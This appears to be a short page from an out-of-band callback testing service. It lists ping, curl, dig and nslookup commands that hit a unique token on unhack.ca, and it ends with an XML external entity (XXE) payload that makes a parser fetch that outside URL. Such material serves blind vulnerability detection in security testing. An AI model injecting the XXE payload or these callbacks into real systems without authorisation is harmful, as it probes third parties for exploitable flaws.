$ ping -c1 -p 0040e9b3ccbfbb73ae52ee5f73fded00 unhack.ca
 

$ curl http://unhack.ca/p/40e9b3ccbfbb73ae52ee5f73fded
 

$ dig 40e9b3ccbfbb73ae52ee5f73fded @unhack.ca
 

$ dig 40e9b3ccbfbb73ae52ee5f73fded.ns.unhack.ca
 

C:\> nslookup 40e9b3ccbfbb73ae52ee5f73fded unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/40e9b3ccbfbb73ae52ee5f73fded">]>
    <foo>&xxe;</foo>